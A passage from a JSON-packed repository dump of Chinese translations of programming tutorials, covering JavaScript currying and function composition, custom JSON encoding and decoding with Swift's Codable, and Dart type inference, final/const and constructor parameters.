触发函数调用。当函数返回另一个函数，被返回的函数可以通过一对额外的括号被立即调用：\n\n```\nconst result = add(2)(3); // => 5\n```\n\n首先，函数接受参数 `a` 并**返回一个新的函数**，新函数接受 `b` 返回 `a` 与 `b` 之和。**一次接受一个参数**。如果函数有更多参数，它会简单地继续返回新函数直到所有的参数都被提供，这时应用完成。\n\n`add` 函数接受一个参数，然后返回自己的 **偏函数应用**，`a` 固定在偏函数应用的闭包作用域中。**闭包**指函数绑定其语法作用域。闭包在创建函数运行时被创建。固定意味着在闭包绑定的作用域内变量被赋值。\n\n上例中的括号代表的函数调用过程：使用 `2` 做参数调用 `add`，返回偏函数应用并且 `a` 的值固定为 `2`。我们不会将返回值赋值给变量或以其他方式使用它，而是通过在括号中将 `3` 传递给它来立即调用返回函数，从而完成应用并返回 `5`。\n\n### 什么是偏函数应用（Partial Application）？\n\n**偏函数应用**是指使用一个函数并将其应用一个或多个参数，但不是全部参数。换句话说，它是一种在闭包作用域中已拥有一些**固定**参数的函数。**偏函数应用**是拥有部分固定参数的函数。\n\n### 它们之间的不同之处?\n\n偏函数应用可以根据需要一次接受多或少的参数。而柯里化函数**总是**返回一元函数：函数总是接受**一个参数**。\n\n所有的柯里化函数都返回偏函数应用，但不是所有的偏函数应用都是柯里化函数的结果。\n\n柯里化函数的一元需求是一个重要特性。\n\n### 什么是无点风格（point-free style）？\n\n无点风格是一种编程风格，其函数定义不会关联函数的参数。让我们来看 JavaScript 中的函数定义：\n\n```\nfunction foo (/* 这里定义参数*/) {\n  // ...\n}\n\nconst foo = (/* 这里定义参数 */) => // ...\n\nconst foo = function (/* 这里定义参数 */) {\n  // ...\n}\n```\n\n你如何能在 JavaScript 中定义不关联参数的函数？我们不能使用 `function` 关键字，也不能使用箭头函数（`=>`），因为这些都要求正式的参数声明。所以我们要做的是调用一个会返回函数的函数。\n\n使用无点风格创建一个函数，该方法会把你传入的任何数字加一。记住，我们已经有一个叫 `add` 的函数，它需要一个数字做参数，并且无论你传入了什么值都会返回一个第一个参数固定的偏函数。我们可以使用这种方法创建一个叫 `inc()` 的新函数。\n\n```\n// inc = n => Number\n// 把任何数字加一。\nconst inc = add(1);\n\ninc(3); // => 4\n```\n\n作为一种泛化和专用机制，这很有趣。返回的函数不过是更加通用的 `add()` 函数的一种**专用版**。我们可以按需要使用 `add()` 来创建许多专用版本。\n\n```\nconst inc10 = add(10);\nconst inc20 = add(20);\n\ninc10(3); // => 13\ninc20(3); // => 23\n```\n\n当然，所有这些都有它们自己的闭包作用域（闭包在函数创建时被创建 —— 在 `add()` 被调用时），所以原来 `inc()` 可以保持功能：\n\n```\ninc(3) // 4\n```\n\n当我们调用 `add(1)` 来创建 `inc()` 时，`add()` 中的 `a` 参数在返回的函数中固定为 `1`，这个返回的函数赋值给`inc`。\n\n当我们调用 `inc(3)` 时，`add()` 中的 `b` 参数被参数 `3` 替换，函数结束，返回 `1` 与 `3` 之和。\n\n所有的柯里化函数都是高阶形式函数，它允许你为了专门用途创建原函数的专用版本。\n\n### 为什么要把函数柯里化？\n\n柯里化函数在函数组合中极其有用。\n\n在代数学中，假设有两个函数，`f` 和 `g`：\n\n```\nf: a -> b\ng: b -> c\n```\n\n你可以把这两个函数组合来创建一个新函数 `h`，从 `a` 直接得到 `c`：\n\n```\n// 代数定义，从 Haskell 借鉴了组合操作符 `.`\n\nh: a -> c\nh = f . g = f(g(x))\n```\n\n在 JavaScript 中:\n\n```\nconst g = n => n + 1;\nconst f = n => n * 2;\n\nconst h = x => f(g(x));\n\nh(20); //=> 42\n```\n\n代数定义：\n\n```\nf . g = f(g(x))\n```\n\n可以被转换成 JavaScript：\n\n```\nconst compose = (f, g) => f(g(x));\n```\n\n但这只能一次组合两个函数。在代数中，有可能这么写：\n\n```\ng . f . h\n```\n\n我们可以随意把任意多个函数组合成一个函数。换句换说，`compose()` 在函数中创建了一个管道，把一个函数的输出与下一个函数的输入连接起来。\n\n我经常以这种方法来写：\n\n```\nconst compose = (...fns) => x => fns.reduceRight((y, f) => f(y), x);\n```\n\n此版本使用任意多个函数并返回一个需要初始值的函数，然后使用 `reduceRight()` 从右到左遍历每一个函数，即 `fns` 中的 `f`，并把它变成累积值 `y`。函数中累加器的计算值 `y` 就是函数 `compose()` 的返回值。\n\n现在我们可以这样组合：\n\n```\nconst g = n => n + 1;\nconst f = n => n * 2;\n\n// 使用 `compose(f, g)` 替换 `x => f(g(x))` `\nconst h = compose(f, g);\n\nh(20); //=> 42\n```\n\n### 跟踪（Trace）\n\n函数组合使用无点风格创建非常简洁易懂的代码，不过若想简单的调试则要花点功夫。如果你想检查函数间的值？你可以使用一种方便的工具 `trace()`。它需要柯里化函数的形式：\n\n```\nconst trace = label => value => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n```\n\n现在我们来检查管道：\n\n```\nconst compose = (...fns) => x => fns.reduceRight((y, f) => f(y), x);\n\nconst trace = label => value => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n\nconst g = n => n + 1;\nconst f = n => n * 2;\n\n/*\n注意：函数应用的顺序是从下到上：\n*/\n\nconst h = compose(\n  trace('after f'),\n  f,\n  trace('after g'),\n  g\n);\n\nh(20);\n/*\nafter g: 21\nafter f: 42\n*/\n```\n\n`compose()` 是非常有用的工具，但当我们需要组合多于两个函数时，从上到下的顺序会更方便我们阅读。我们可以通过反转被调用函数的顺序来做到。这里有另一个名为 `pipe` 的组合工具，它反转了组合的顺序：\n\n```\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n```\n\n现在我们可以这样写上面的代码：\n\n```\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n\nconst trace = label => value => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n\nconst g = n => n + 1;\nconst f = n => n * 2;\n\n/*\n现在函数应用的顺序是从上到下：\n*/\nconst h = pipe(\n  g,\n  trace('after g'),\n  f,\n  trace('after f'),\n);\n\nh(20);\n/*\nafter g: 21\nafter f: 42\n*/\n```\n\n### 结合柯里化和函数组合\n\n即便不在函数组合的范畴中讲，柯里化无疑也是一种非常有用的抽象，我们可以运用到专用函数。例如，柯里化版本的 `map` 可以被专用化来做很多不同的事情：\n\n```\nconst map = fn => mappable => mappable.map(fn);\n\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\nconst log = (...args) => console.log(...args);\n\nconst arr = [1, 2, 3, 4];\nconst isEven = n => n % 2 === 0;\n\nconst stripe = n => isEven(n) ? 'dark' : 'light';\nconst stripeAll = map(stripe);\nconst striped = stripeAll(arr);\nlog(striped);\n// => [\"light\", \"dark\", \"light\", \"dark\"]\n\nconst double = n => n * 2;\nconst doubleAll = map(double);\nconst doubled = doubleAll(arr);\nlog(doubled);\n// => [2, 4, 6, 8]\n```\n\n但是柯里化函数的真正能力是它们可以简化函数组合。一个函数可以接受任意数量的输入，但是只返回一个输出。为了使函数可组合，输出类型必须与期望输入类型统一：\n\n```\nf: a => b\ng:      b => c\nh: a    =>   c\n```\n\n如果上面的函数 `g` 期望两个参数，`f` 的输出就会和 `g` 的输入不一致：\n\n```\nf: a => b\ng:     (x, b) => c\nh: a    =>   c\n```\n\n在这种情况下如何把 `x` 传入 `g`，答案是**把 `g` 柯里化**。\n\n记住柯里化函数的定义：一种由需要多个参数的函数转化为**一次只接受一个**参数的函数，并且通过使用第一个参数并返回一系列函数直到所有的参数都已被收集。\n\n上述定义的关键词是“一次传入一个参数”。对于函数组合来说柯里化函数如此方便的原因是它们把需要多个参数的函数变成了只需要一个参数的函数，允许它们适配函数组合管道。拿前面的 `trace()` 函数为例：\n\n```\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n\nconst trace = label => value => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n\nconst g = n => n + 1;\nconst f = n => n * 2;\n\nconst h = pipe(\n  g,\n  trace('after g'),\n  f,\n  trace('after f'),\n);\n\nh(20);\n/*\nafter g: 21\nafter f: 42\n*/\n```\n\n`trace()` 定义两个参数，但是每次只取一个参数，允许我们专用化行内函数。如果 `trace()` 没有被柯里化，就不能这样使用它。我们就必须这样写管道函数：\n```\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n\nconst trace = (label, value) => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n\nconst g = n => n + 1;\nconst f = n => n * 2;\n\nconst h = pipe(\n  g,\n  // trace() 不在是无点风格，并引入 `x` 作为中间变量。\n  x => trace('after g', x),\n  f,\n  x => trace('after f', x),\n);\n\nh(20);\n```\n\n但是单纯的柯里化函数仍然不够。你还需要保证函数期望的参数以按正确的顺序来专用化它们。再看一遍我们柯里化 `trace()` 时发生了什么，不过这次我们反转参数的顺序：\n\n```\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n\nconst trace = value => label => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n\nconst g = n => n + 1;\nconst f = n => n * 2;\n\nconst h = pipe(\n  g,\n  // trace() 不能为无点风格，因为期望的参数顺序错误\n  x => trace(x)('after g'),\n  f,\n  x => trace(x)('after f'),\n);\n\nh(20);\n```\n\n如果有必要，你可以使用 `flip` 方法来解决这个问题，它简单地反转了两个参数的顺序：\n\n```\nconst flip = fn => a => b => fn(b)(a);\n```\n\n现在我们可以创建 `flippedTrace()` 函数：\n\n```\nconst flippedTrace = flip(trace);\n```\n\n并这样使用它：\n\n```\nconst flip = fn => a => b => fn(b)(a);\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n\nconst trace = value => label => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\nconst flippedTrace = flip(trace);\n\nconst g = n => n + 1;\nconst f = n => n * 2;\n\nconst h = pipe(\n  g,\n  flippedTrace('after g'),\n  f,\n  flippedTrace('after f'),\n);\n\nh(20);\n```\n\n不过更好的方式是在开始就写出正确的函数。有时这种风格被称为“数据置后”，这意味着你需要首先传入专用化参数，并在最后传入参数执行函数。这里展示了原始的函数形式：\n\n```\nconst trace = label => value => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n```\n\n`trace()` 每次应用 `label` 时会创建专用版本的跟踪函数，它会在管道中用到，管道中 `label` 在 `trace` 返回的偏函数应用中是固定的。所以：\n\n```\nconst trace = label => value => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n\nconst traceAfterG = trace('after g');\n```\n\n...等同于：\n\n```\nconst traceAfterG = value => {\n  const label = 'after g';\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n```\n\n如果我们把 `trace('after g')` 换成 `traceAfterG`，就等同于下面：\n\n```\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n\nconst trace = label => value => {\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n\n// 柯里化版本的 trace() 能让我们避免这种代码...\nconst traceAfterG = value => {\n  const label = 'after g';\n  console.log(`${ label }: ${ value }`);\n  return value;\n};\n\nconst g = n => n + 1;\nconst f = n => n * 2;\n\nconst h = pipe(\n  g,\n  traceAfterG,\n  f,\n  trace('after f'),\n);\n\nh(20);\n```\n\n### 总结\n\n**柯里化函数**是一种把接受多参数的函数变为接受单一参数的函数，通过使用第一个参数并返回使用余下参数的一系列函数，直到所有的参数都被使用，并且函数应用结束，此时结果就会被返回。\n\n**偏函数应用**是一种已经应用一些但非全部参数的函数。函数已经应用的参数被称为**固定参数（Fixed Parameters）**。\n\n**无点风格**是一种不需要引用参数的函数定义风格。一般来说，无点函数通过调用返回函数的函数来创建，例如柯里化函数。\n\n**柯里化函数对于函数组合非常有用**，因为由于函数组合的需要，你可以把 n 元函数轻松地转换成一元函数形式：管道内的函数必须是单一参数。\n\n**数据置后函数**对于函数组合来说非常方便，因为它们可以轻松地被用在无点风格中。\n\n### 下一步\n\n[EricElliottJS.com](https://ericelliottjs.com/) 的会员可以看到此话题的完全指南视频。会员可以访问 [ES6 Curry & Composition 课程](https://ericelliottjs.com/premium-content/es6-curry-composition/)。\n\n* * *\n\n**Eric Elliott 是 [Programming JavaScript Applications(O’Reilly)](http://pjabook.com) 的作者，并且是软件导师制平台 [DevAnywhere.io](https://devanywhere.io/) 的合作创始人。他拥有为 Adobe Systems、Zumba Fitness、The Wall Street Journal、ESPN、BBC 和顶尖音乐艺术家包括 Usher、Frank Ocean、Metallica 等工作的经验。**\n\n**他有着世界上最漂亮的女人陪着他在世界各地远程工作。**\n\n感谢 [JS_Cheerleader](https://medium.com/@JS_Cheerleader?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/custom-encoding-and-decoding-json-in-swift.md",
    "content": "> * 原文地址：[Custom encoding and decoding JSON in Swift](https://levelup.gitconnected.com/custom-encoding-and-decoding-json-in-swift-a99c80b280e7)\n> * 原文作者：[Leandro Fournier](https://medium.com/@lean4nier)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/custom-encoding-and-decoding-json-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO1/custom-encoding-and-decoding-json-in-swift.md)\n> * 译者：[chaingangway](https://github.com/chaingangway)\n> * 校对者：[lsvih](https://github.com/lsvih)\n\n# 在 Swift 中对 JSON 进行自定义编码和解码的小技巧\n\n![](https://cdn-images-1.medium.com/max/2000/0*-t2P3atrbgHMKR6P.jpg)\n\n本文我最早发表在 [Swift Delivery](https://www.leandrofournier.com/custom-encoding-and-decoding-json/)。\n\n在最近的 [Working with JSON in Swift series](https://levelup.gitconnected.com/working-with-json-in-swift-c5faea0b19a1) 文章中，我们学习了这些知识点：\n\n* `Codable` 协议，它还包含另外两个协议: `Encodable` 和 `Decodable`。\n* 如何将 JSON 数据对象解析成具有可读性的 Swift 结构体。\n* 自定义 key 的使用。\n* 自定义对象的创建。\n* 数组\n* 各种一级实体\n\n通过了解这些，你能掌握 Swift 中 JSON 的基本使用。比如，你可以读取 JSON 数据（解码），创建可以被转换为 JSON 格式的对象（编码），然后把这个对象发送给 RestFul API。\n\n首先，我们来创建一个对象，把它转换成 JSON 数据格式。\n\n## 编码\n\n#### 默认编码\n\n下面的代码中定义了 Insect 结构体:\n\n```swift\nstruct Insect: Codable {\n    let insectId: Int\n    let name: String\n    let isHelpful: Bool\n    \n    enum CodingKeys: String, CodingKey {\n        case insectId = \"insect_id\"\n        case name\n        case isHelpful = \"is_helpful\"\n    }\n}\n```\n\n结构体中一共有三个属性。**insectId** 表示昆虫的身份，**name** 表示昆虫的名称，**isHelpful** 表示昆虫是否对我们的花园有益。其中两个属性使用了自定义 key（**insectId** 和 **isHelpful**）。\n\n现在我们新建一个昆虫实例：\n\n```swift\nlet newInsect = Insect(insectId: 1006, name: \"ants\", isHelpful: true)\n```\n\n我们的 RESTFul API 需要接收 JSON 格式的昆虫数据，所以我们需要对它进行编码:\n\n```swift\nlet encoder = JSONEncoder() \nlet insectData: Data? = try? encoder.encode(newInsect)\n```\n\n这一步很简单：现在 **insectData** 已经是 `Data?` 类型。我们可能还想检查一下编码是否真的生效了（只是一个验证，你在写代码时可以不必这样）。我们用解包的方式来重构上面的代码：\n\n```swift\nlet encoder = JSONEncoder()\nif let insectData = try? encoder.encode(newInsect),\n    let jsonString = String(data: insectData, encoding: .utf8)\n    {\n    print(jsonString)\n}\n```\n\n1. 创建 encoder。\n2. 尝试对我们创建的对象编码。\n3. 进行转换，如果编码成功的话，`Data` 对象会变成 `String` 类型。\n\n我们打印一下结果，它的格式如下：\n\n```json\n{\"name\":\"ants\",\"is_helpful\":true,\"insect_id\":1006}\n```\n\n> 注意编码时的 key 不是自定义的 key（**insectId** 和 **isHelpful**），而是我们希望的 key（**insect_id** 和 **is_helpful**）。太棒了！\n\n#### 自定义编码\n\n假设 RESTful API 需要接受大写名称的昆虫数据。我们就需要实现自己的编码方法，来保证昆虫名称是大写的。要这样做的话，我们就必须在 **Insect** 结构体中实现 `Encodable` 协议中的 **func** encode(to encoder: Encoder) **throws** 方法。\n\n```swift\nstruct Insect: Codable {\n    let insectId: Int\n    let name: String\n    let isHelpful: Bool\n    \n    enum CodingKeys: String, CodingKey {\n        case insectId = \"insect_id\"\n        case name\n        case isHelpful = \"is_helpful\"\n    }\n    \n    func encode(to encoder: Encoder) throws {\n        var container = encoder.container(keyedBy: CodingKeys.self) // 13\n        try container.encode(insectId, forKey: .insectId) // 14\n        try container.encode(name.uppercased(), forKey: .name) // 15\n        try container.encode(isHelpful, forKey: .isHelpful) // 16\n    }\n}\n```\n\n第 13 行我们创建了一个用于存储编码数据的容器。这个容器必须是 `var` 类型，它要接收这些 key，因此是可变类型的。\n\n第 14 到 16 行是把数据进行编码后，存储到容器中。每一次存储都可能抛出异常，所以这里用到了 `try`。\n\n现在，看第 15 行：我们没有原封不动地把数据存储，而是对其进行了大写处理。这就是我们要实现自定义编码的主要原因。\n\n运行上面的代码后，你会发现 **Insect** 中的“ants”属性在编码转换成 JSON 字符串后，格式是下面这样的：\n\n```\n{\"name\":\"ANTS\",\"is_helpful\":true,\"insect_id\":1006}\n```\n\n即使昆虫名称的初始值是小写的，现在它的名称也变成了大写。这太酷了！\n\n## 自定义解码\n\n目前为止，我们一直都依赖 `Decodable` 协议中默认的解码方法。下面我们来看看另外的方法：\n\n```json\n[\n   {\n      \"insect_id\":1001,\n      \"name\":\"BEES\",\n      \"details\":{\n         \"is_helpful\":true\n      }\n   },\n   {\n      \"insect_id\":1002,\n      \"name\":\"LADYBUGS\",\n      \"details\":{\n         \"is_helpful\":true\n      }\n   },\n   {\n      \"insect_id\":1003,\n      \"name\":\"SPIDERS\",\n      \"details\":{\n         \"is_helpful\":true\n      }\n   },\n   {\n      \"insect_id\":2001,\n      \"name\":\"TOMATO HORN WORMS\",\n      \"details\":{\n         \"is_helpful\":false\n      }\n   },\n   {\n      \"insect_id\":2002,\n      \"name\":\"CABBAGE WORMS\",\n      \"details\":{\n         \"is_helpful\":false\n      }\n   },\n   {\n      \"insect_id\":2003,\n      \"name\":\"CABBAGE MOTHS\",\n      \"details\":{\n         \"is_helpful\":false\n      }\n   }\n]\n```\n\nAPI 获取的 **is_helpful** 属性在 **details** 实体内部。但是我们不想创建 **Details** 对象，我们只想展开它，这样就可以直接用现有的 **Insect** 对象了。\n\n现在我们要实现 `Decodable` 协议中的 **init**(from decoder: Decoder) **throws** 方法，然后做一些额外处理。\n\n首先，key 不一样了，**is_helpful** 不是同级的 key了，这里新的 key 是 **details**。我们这样编写代码：\n\n```swift\nenum CodingKeys: String, CodingKey {\n        case insectId = \"insect_id\"\n        case name\n        case details // 4\n    }\n    \n    enum DetailsCodingKeys: String, CodingKey { // 7\n        case isHelpful = \"is_helpful\" // 8\n    } // 9\n```\n\n第 4 行，我们用 **details** 替换了之前的 key。\n\n第 7 行到第 9 行，我们新建了一个枚举，对应 **details** 内部的 key，在本例中，只有一个 **isHelpful**。\n\n> 注意我们还没有接触到 **Insect** `结构体`的属性。\n\n下面我们深入了解一下解码的初始化方法:\n\n```swift\ninit(from decoder: Decoder) throws {\n   let container = try decoder.container(keyedBy: CodingKeys.self) // 2\n        \n   insectId = try container.decode(Int.self, forKey: .insectId) // 4\n   name = try container.decode(String.self, forKey: .name) // 5\n   let details = try container.nestedContainer(keyedBy: DetailsCodingKeys.self, forKey: .details) // 6\n   isHelpful = try details.decode(Bool.self, forKey: .isHelpful) // 7\n}\n```\n\n第 2 行中我们创建了用于解析整个 JSON 结构的容器。\n\n第 4 行和第 5 行，我们解析了 **insectId** 属性的 `Int` 数据和 **name** 属性的 `String` 数据。 \n\n第 6 行，我们获得了 **details** key 内部的容器，容器内的 key 是通过 **DetailsCodingKeys** `枚举`创建的。\n\n第 7 行，我们在 **details** 的容器中解析了 **isHelpful** 属性的 `Bool` 数据。\n\n但是事情还没有做完。我们在 **CodingKeys** 中加入了 **details**，所以我们自定义的编码方法也要如下修改：\n\n```swift\nfunc encode(to encoder: Encoder) throws {\n    var container = encoder.container(keyedBy: CodingKeys.self)\n    try container.encode(insectId, forKey: .insectId)\n    try container.encode(name.uppercased(), forKey: .name)\n    var details = container.nestedContainer(keyedBy: DetailsCodingKeys.self, forKey: .details) // 5\n    try details.encode(isHelpful, forKey: .isHelpful) // 6\n}\n```\n\n我们只用修改 **isHelpful** 属性的编码方式就可以了。\n \n在第 5 行中我们用 **DetailsCodingKeys** `枚举`作为 key 创建了一个内部容器，用于在 **details** 实体的内部使用。\n\n第 6 行我们在新建的 **details** 内部容器中对 **isHelpful** 进行编码。\n\n所以，最终的 **Insect** `结构体`是这样的：\n\n```swift\nstruct Insect: Codable {\n    let insectId: Int\n    let name: String\n    let isHelpful: Bool\n    \n    enum CodingKeys: String, CodingKey {\n        case insectId = \"insect_id\"\n        case name\n        case details\n    }\n    \n    enum DetailsCodingKeys: String, CodingKey {\n        case isHelpful = \"is_helpful\"\n    }\n    \n    init(from decoder: Decoder) throws {\n        let container = try decoder.container(keyedBy: CodingKeys.self)\n        \n        insectId = try container.decode(Int.self, forKey: .insectId)\n        name = try container.decode(String.self, forKey: .name)\n        let details = try container.nestedContainer(keyedBy: DetailsCodingKeys.self, forKey: .details)\n        isHelpful = try details.decode(Bool.self, forKey: .isHelpful)\n        \n    }\n    \n    func encode(to encoder: Encoder) throws {\n        var container = encoder.container(keyedBy: CodingKeys.self)\n        try container.encode(insectId, forKey: .insectId)\n        try container.encode(name.uppercased(), forKey: .name)\n        var details = container.nestedContainer(keyedBy: DetailsCodingKeys.self, forKey: .details)\n        try details.encode(isHelpful, forKey: .isHelpful)\n    }\n}\n```\n\n下面开始解码：\n\n```swift\nlet decoder = JSONDecoder()\nif let insects = try? decoder.decode([Insect].self, from: jsonData!) {\n    print(insects)\n}\n```\n\n我们会得到下面的结果：\n\n```\n[__lldb_expr_54.Insect(insectId: 1001, name: \"BEES\", isHelpful: true), __lldb_expr_54.Insect(insectId: 1002, name: \"LADYBUGS\", isHelpful: true), __lldb_expr_54.Insect(insectId: 1003, name: \"SPIDERS\", isHelpful: true), __lldb_expr_54.Insect(insectId: 2001, name: \"TOMATO HORN WORMS\", isHelpful: false), __lldb_expr_54.Insect(insectId: 2002, name: \"CABBAGE WORMS\", isHelpful: false), __lldb_expr_54.Insect(insectId: 2003, name: \"CABBAGE MOTHS\", isHelpful: false)]\n```\n\n你可以看到，并没有 **details** 实体，只有 `结构体` 的属性。\n\n编码流程也是正常的。\n\n本文和之前的一系列文章，总结了很多在 Swift 中处理 JSON 最常见的场景。\n\n## 更多内容\n\n推荐 Ben Scheirman 写的 [Ultimate Guide to JSON Parsing with Swift](https://benscheirman.com/2017/06/swift-json/) 这篇文章，它是与本文主题相关最实用的资料。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/dart-features-for-better-code-types-and-working-with-parameters.md",
    "content": "> * 原文地址：[Dart Features for Better Code: Types and working with parameters](https://medium.com/coding-with-flutter/dart-features-for-better-code-types-and-working-with-parameters-896b802ef73a)\n> * 原文作者：[Andrea Bizzotto](https://medium.com/@biz84)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/dart-features-for-better-code-types-and-working-with-parameters.md](https://github.com/xitu/gold-miner/blob/master/TODO1/dart-features-for-better-code-types-and-working-with-parameters.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[ArcherGrey](https://github.com/ArcherGrey)\n\n# 类型及其在参数中的应用：利用 Dart 特性优化代码\n\n![](https://cdn-images-1.medium.com/max/3200/1*BMqeS3pHvbHt52MzbZbS3Q.jpeg)\n\n本篇教程将会介绍 Dart 语言的一些基础特性，以及如何将其应用于代码中。\n\n正确的使用这些特性，能够让你的代码更加整洁、轻量，并且健壮。\n\n## 1. 类型推断\n\nDart 编译器能够在变量初始化的时候自动推断它的类型，所以我们也就不必声明变量的类型。\n\n在代码应用中，也就是我们可以将这样的代码：\n\n```dart\nString name = 'Andrea';\nint age = 35;\ndouble height = 1.84;\n```\n\n转化为：\n\n```dart\nvar name = 'Andrea';\nvar age = 35;\nvar height = 1.84;\n```\n\n这段代码之所以能生效，是因为 Dart 可以从表达式右边的值**推断**出变量的类型。\n\n我们可以像这样声明变量：\n\n```dart\nvar x;\nx = 15;\nx = 'hello';\n```\n\n在这个例子中，`x` 声明在前，初始化在后。\n\n此时它的类型是动态的，即 `dynamic`，这意味着，它可以被多个表达式赋值为不同的类型。\n\n**小结**\n\n* 当使用 `var` 的时候，只要变量的声明和初始化是同时完成的，那么 Dart 将能正确的推断出变量类型。\n\n## 2. final 和 const\n\n当我们使用 var 来声明变量的时候，这个变量可以被多次赋值：\n\n```dart\nvar name = 'Andrea';\nname = 'Bob';\n```\n\n也就是说：\n\n> **使用 `var` 意味着**可以多次赋值\n\n但是如果我们使用了 `final`，就不能给变量多次赋值了：\n\n```dart\nfinal name = 'Andrea';\nname = 'Bob'; // 'name' 是一个 final 类型的变量，不可以被再次赋值\n```\n\n#### final 的应用\n\n在 widget 类中，很常见使用 `final` 声明的属性。例如：\n\n```dart\nclass PlaceholderContent extends StatelessWidget {\n  const PlaceholderContent({\n    this.title,\n    this.message,\n  });\n  final String title;\n  final String message;\n  \n  // TODO：实现构建方法\n}\n```\n\n在这段代码中，`title` 和 `message` 在这个 widget 内是不可以被修改的，因为：\n\n> **使用 `final` 意味着**只能一次赋值\n\n所以，使用 `var` 和 `final` 的区别就是是否允许多次或只能一次赋值。现在我们再来看看 `const`：\n\n#### const\n\n> **`const` 能够定义**编译时**常量**\n\n`const` 用来定义硬编码值，例如颜色、字体大小和图标等。\n\n同时我们也可以在定义 widget 类的时候使用 **const** 构建函数。\n\n这是完全可行的，因为所有 widget 内部的变量和方法都是编译时常量。例如：\n\n```dart\nclass PlaceholderContent extends StatelessWidget {\n  const PlaceholderContent({\n    this.title,\n    this.message,\n  });\n  final String title;\n  final String message;\n\n  @override\n  Widget build(BuildContext context) {\n    return Center(\n      child: Column(\n        mainAxisAlignment: MainAxisAlignment.center,\n        children: <Widget>[\n          Text(\n            title,\n            style: TextStyle(fontSize: 32.0, color: Colors.black54),\n          ),\n          Text(\n            message,\n            style: TextStyle(fontSize: 16.0, color: Colors.black54),\n          ),\n        ],\n      ),\n    );\n  }\n}\n```\n\n如果这个 widget 的构建函数是 `const` 类型，它就可以被这样构建：\n\n```dart\nconst PlaceholderContent(\n  title: 'Nothing here',\n  message: 'Add a new item to get started',\n)\n```\n\n结果就是，这个 widget 可以被 Flutter 优化为，**当它的父级变化时，widget 本身不会重复构建**。\n\n小结：\n\n* `final` 意味着变量只能被**赋值一次**\n* `const` 用来定义**编译时常量**\n* **const** 定义的 widget [不会在父级变化时重复构建](https://stackoverflow.com/questions/53492705/does-using-const-in-the-widget-tree-improve-performance)。\n* 尽可能选择 `const` 而不是 `final`\n\n## 3. 命名参数和位置参数\n\n在 Dart 中，我们将变量使用大括号（`{}`）包起来，由此可以定义命名参数：\n\n```dart\nclass PlaceholderContent extends StatelessWidget {\n  // 使用命名参数的构建函数\n  const PlaceholderContent({\n    this.title,\n    this.message,\n  });\n  final String title;\n  final String message;\n  \n  // TODO：实现构建方法\n}\n```\n\n这段代码意味着，我们可以像这样创建 widget：\n\n```dart\nPlaceholderContent(\n  title: 'Nothing here',\n  message: 'Add a new item to get started',\n)\n```\n\n还有一种替代方案是，我们可以在构建函数中将大括号省略，声明位置参数：\n\n```dart\n// 使用位置参数的构建函数\nconst PlaceholderContent(\n  this.title,\n  this.message,\n);\n```\n\n结果就是，参数可以通过它们**所在的位置**来定义：\n\n```dart\nPlaceholderContent(\n  'Nothing here', // title 参数位于 0 号位\n  'Add a new item to get started', // message 参数位于 1 